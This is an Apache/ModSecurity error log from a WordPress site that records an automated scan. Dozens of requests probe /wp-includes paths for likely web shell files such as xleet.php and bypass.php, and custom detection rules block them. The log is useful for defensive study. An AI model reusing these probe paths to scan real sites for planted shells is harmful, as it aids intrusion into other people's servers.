[Mon Mar 02 19:21:20.759794 2026] [:error] [pid 59602:tid 59686] [client 45.8.17.77:63215] [client 45.8.17.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaVysDMtSo_Fr0lHnSY9yAAAAJU"]
[Mon Mar 02 19:21:23.549920 2026] [proxy_fcgi:error] [pid 59734:tid 59739] [client 45.8.17.83:33697] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:21:24.644995 2026] [:error] [pid 59734:tid 59751] [client 45.8.17.83:33697] [client 45.8.17.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.83, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aaVytJeWQx7ZQG9NybEINwAAAU8"]
[Mon Mar 02 19:21:26.428355 2026] [:error] [pid 59734:tid 59737] [client 45.8.17.83:33697] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aaVytpeWQx7ZQG9NybEIQAAAAUE"]
[Mon Mar 02 19:21:27.676174 2026] [:error] [pid 28847:tid 28861] [client 45.8.17.53:52161] [client 45.8.17.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aaVyt59xbBq8VfeqVDbxDAAAAMw"]
[Mon Mar 02 19:21:30.200501 2026] [:error] [pid 59602:tid 59686] [client 45.8.17.83:57987] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aaVyujMtSo_Fr0lHnSY93AAAAJU"]
[Mon Mar 02 19:21:32.386955 2026] [:error] [pid 28847:tid 28867] [client 45.8.17.72:40759] [client 45.8.17.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aaVyvJ9xbBq8VfeqVDbxPgAAANI"]
[Mon Mar 02 19:21:33.605632 2026] [:error] [pid 28847:tid 28855] [client 45.8.17.198:33221] [client 45.8.17.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaVyvZ9xbBq8VfeqVDbxTwAAAMY"]
[Mon Mar 02 19:21:35.515100 2026] [:error] [pid 59600:tid 59629] [client 45.8.17.94:64857] [client 45.8.17.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aaVyv4Q5lE4yocV9IBchNAAAABQ"]
[Mon Mar 02 19:21:37.148027 2026] [proxy_fcgi:error] [pid 59602:tid 59671] [client 45.8.17.196:46951] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:21:37.532300 2026] [:error] [pid 59602:tid 59688] [client 45.8.17.196:46951] [client 45.8.17.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aaVywTMtSo_Fr0lHnSY95QAAAJc"]
[Mon Mar 02 19:21:38.664835 2026] [:error] [pid 28847:tid 28870] [client 45.8.17.53:51087] [client 45.8.17.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aaVywp9xbBq8VfeqVDbxngAAANU"]
[Mon Mar 02 19:21:39.378346 2026] [:error] [pid 28847:tid 28860] [client 45.8.17.83:20753] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aaVyw59xbBq8VfeqVDbxpgAAAMs"]
[Mon Mar 02 19:21:40.199441 2026] [:error] [pid 59701:tid 59721] [client 45.8.17.196:49831] [client 45.8.17.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaVyxOUmTDVso96U9_K9RgAAARE"]
[Mon Mar 02 19:21:40.827818 2026] [:error] [pid 28847:tid 28852] [client 45.8.17.55:63521] [client 45.8.17.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aaVyxJ9xbBq8VfeqVDbxugAAAMM"]
[Mon Mar 02 19:21:41.696843 2026] [:error] [pid 59701:tid 59718] [client 45.8.17.76:56917] [client 45.8.17.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aaVyxeUmTDVso96U9_K9SAAAAQ4"]
[Mon Mar 02 19:21:42.329664 2026] [:error] [pid 28847:tid 28849] [client 45.8.17.100:50417] [client 45.8.17.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aaVyxp9xbBq8VfeqVDbyIwAAAMA"]
[Mon Mar 02 19:21:43.892225 2026] [:error] [pid 59602:tid 59683] [client 45.8.17.86:47951] [client 45.8.17.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aaVyxzMtSo_Fr0lHnSY96AAAAJI"]
[Mon Mar 02 19:21:44.595792 2026] [:error] [pid 59734:tid 59747] [client 45.8.17.190:61685] [client 45.8.17.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aaVyyJeWQx7ZQG9NybEIRgAAAUs"]
[Mon Mar 02 19:21:45.346267 2026] [:error] [pid 59600:tid 59629] [client 45.8.17.111:65177] [client 45.8.17.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aaVyyYQ5lE4yocV9IBchUQAAABQ"]
[Mon Mar 02 19:21:46.713825 2026] [:error] [pid 59734:tid 59758] [client 45.8.17.196:61679] [client 45.8.17.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aaVyypeWQx7ZQG9NybEISAAAAVY"]
[Mon Mar 02 19:21:49.096181 2026] [:error] [pid 59602:tid 59667] [client 45.8.17.70:49821] [client 45.8.17.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aaVyzTMtSo_Fr0lHnSY97wAAAII"]
[Mon Mar 02 19:21:50.815896 2026] [proxy_fcgi:error] [pid 59600:tid 59621] [client 45.8.17.196:21487] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:21:52.141751 2026] [:error] [pid 59600:tid 59623] [client 45.8.17.196:21487] [client 45.8.17.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.196, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaVy0IQ5lE4yocV9IBchXQAAAA4"]
[Mon Mar 02 19:21:54.274449 2026] [:error] [pid 59600:tid 59622] [client 45.8.17.196:21487] [client 45.8.17.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aaVy0oQ5lE4yocV9IBchYwAAAA0"]
[Mon Mar 02 19:21:54.900122 2026] [:error] [pid 28847:tid 28853] [client 45.8.17.99:49669] [client 45.8.17.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aaVy0p9xbBq8VfeqVDbysgAAAMQ"]
[Mon Mar 02 19:22:01.892879 2026] [:error] [pid 59602:tid 59674] [client 45.128.199.210:41319] [client 45.128.199.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaVy2TMtSo_Fr0lHnSY-DwAAAIk"]
[Mon Mar 02 19:22:02.659223 2026] [:error] [pid 59701:tid 59708] [client 45.8.17.111:21187] [client 45.8.17.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aaVy2uUmTDVso96U9_K9VQAAAQQ"]
[Mon Mar 02 19:22:04.459251 2026] [:error] [pid 59734:tid 59750] [client 45.8.17.77:64645] [client 45.8.17.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aaVy3JeWQx7ZQG9NybEITQAAAU4"]
[Mon Mar 02 19:22:07.243271 2026] [:error] [pid 59602:tid 59673] [client 45.8.17.93:31781] [client 45.8.17.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aaVy3zMtSo_Fr0lHnSY-HQAAAIg"]
[Mon Mar 02 19:22:07.896543 2026] [:error] [pid 59601:tid 59654] [client 45.128.199.146:42933] [client 45.128.199.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aaVy38Q1lXfvWN0-ZQl9OwAAAFA"]
[Mon Mar 02 19:22:08.743366 2026] [:error] [pid 59602:tid 59687] [client 45.8.17.92:42651] [client 45.8.17.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aaVy4DMtSo_Fr0lHnSY-JAAAAJY"]
[Mon Mar 02 19:22:10.928768 2026] [:error] [pid 59601:tid 59642] [client 45.8.17.54:60493] [client 45.8.17.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aaVy4sQ1lXfvWN0-ZQl9QAAAAEQ"]
[Mon Mar 02 19:22:11.946861 2026] [:error] [pid 28847:tid 28872] [client 45.8.17.67:51393] [client 45.8.17.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aaVy459xbBq8VfeqVDbyxQAAANc"]
[Mon Mar 02 19:22:13.337618 2026] [:error] [pid 59600:tid 59612] [client 45.8.17.87:50433] [client 45.8.17.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aaVy5YQ5lE4yocV9IBchhgAAAAM"]
[Mon Mar 02 19:22:19.311818 2026] [:error] [pid 28847:tid 28861] [client 45.8.17.82:34771] [client 45.8.17.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aaVy659xbBq8VfeqVDbzMQAAAMw"]
[Mon Mar 02 19:22:20.539287 2026] [:error] [pid 59600:tid 59620] [client 45.8.17.78:31125] [client 45.8.17.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aaVy7IQ5lE4yocV9IBchmwAAAAs"]
[Mon Mar 02 19:22:23.157731 2026] [:error] [pid 59602:tid 59688] [client 45.8.17.67:60087] [client 45.8.17.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aaVy7zMtSo_Fr0lHnSY-XQAAAJc"]
[Mon Mar 02 19:22:24.854776 2026] [:error] [pid 28847:tid 28865] [client 45.8.17.149:25939] [client 45.8.17.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aaVy8J9xbBq8VfeqVDbzPgAAANA"]
[Mon Mar 02 19:22:26.951274 2026] [:error] [pid 59701:tid 59727] [client 45.8.17.205:60717] [client 45.8.17.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aaVy8uUmTDVso96U9_K9XAAAARc"]
[Mon Mar 02 19:22:29.263752 2026] [:error] [pid 59602:tid 59666] [client 45.8.17.50:53403] [client 45.8.17.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aaVy9TMtSo_Fr0lHnSY-cwAAAIE"]
[Mon Mar 02 19:22:30.539461 2026] [:error] [pid 59701:tid 59708] [client 45.8.17.54:23081] [client 45.8.17.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aaVy9uUmTDVso96U9_K9YgAAAQQ"]
[Mon Mar 02 19:22:31.143735 2026] [:error] [pid 59734:tid 59750] [client 45.8.17.74:44321] [client 45.8.17.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aaVy95eWQx7ZQG9NybEIcQAAAU4"]
[Mon Mar 02 19:22:34.030777 2026] [:error] [pid 59602:tid 59683] [client 45.8.17.66:56261] [client 45.8.17.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aaVy-jMtSo_Fr0lHnSY-fwAAAJI"]
[Mon Mar 02 19:22:36.259446 2026] [:error] [pid 28847:tid 28853] [client 45.8.17.86:46841] [client 45.8.17.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aaVy_J9xbBq8VfeqVDbzVwAAAMQ"]
[Mon Mar 02 19:22:38.281820 2026] [:error] [pid 28847:tid 28867] [client 45.8.17.55:63825] [client 45.8.17.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaVy_p9xbBq8VfeqVDbzZwAAANI"]
[Mon Mar 02 19:22:38.923015 2026] [:error] [pid 28847:tid 28849] [client 45.8.17.143:57763] [client 45.8.17.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aaVy_p9xbBq8VfeqVDbzbQAAAMA"]
[Mon Mar 02 19:22:40.620571 2026] [:error] [pid 59602:tid 59668] [client 45.8.17.86:56393] [client 45.8.17.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aaVzADMtSo_Fr0lHnSY-kQAAAIM"]
[Mon Mar 02 19:22:42.421240 2026] [:error] [pid 28847:tid 28857] [client 45.8.17.72:21421] [client 45.8.17.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aaVzAp9xbBq8VfeqVDbzfwAAAMg"]
[Mon Mar 02 19:22:43.033999 2026] [:error] [pid 28847:tid 28864] [client 45.8.17.205:44761] [client 45.8.17.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aaVzA59xbBq8VfeqVDbzhQAAAM8"]
[Mon Mar 02 19:22:46.137078 2026] [:error] [pid 28847:tid 28854] [client 45.8.17.111:26299] [client 45.8.17.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aaVzBp9xbBq8VfeqVDbzpQAAAMU"]
[Mon Mar 02 19:22:47.617766 2026] [:error] [pid 59601:tid 59645] [client 45.8.17.72:26259] [client 45.8.17.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aaVzB8Q1lXfvWN0-ZQl9UwAAAEc"]
[Mon Mar 02 19:22:48.313707 2026] [:error] [pid 59600:tid 59631] [client 45.8.17.111:63371] [client 45.8.17.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aaVzCIQ5lE4yocV9IBchwwAAABY"]
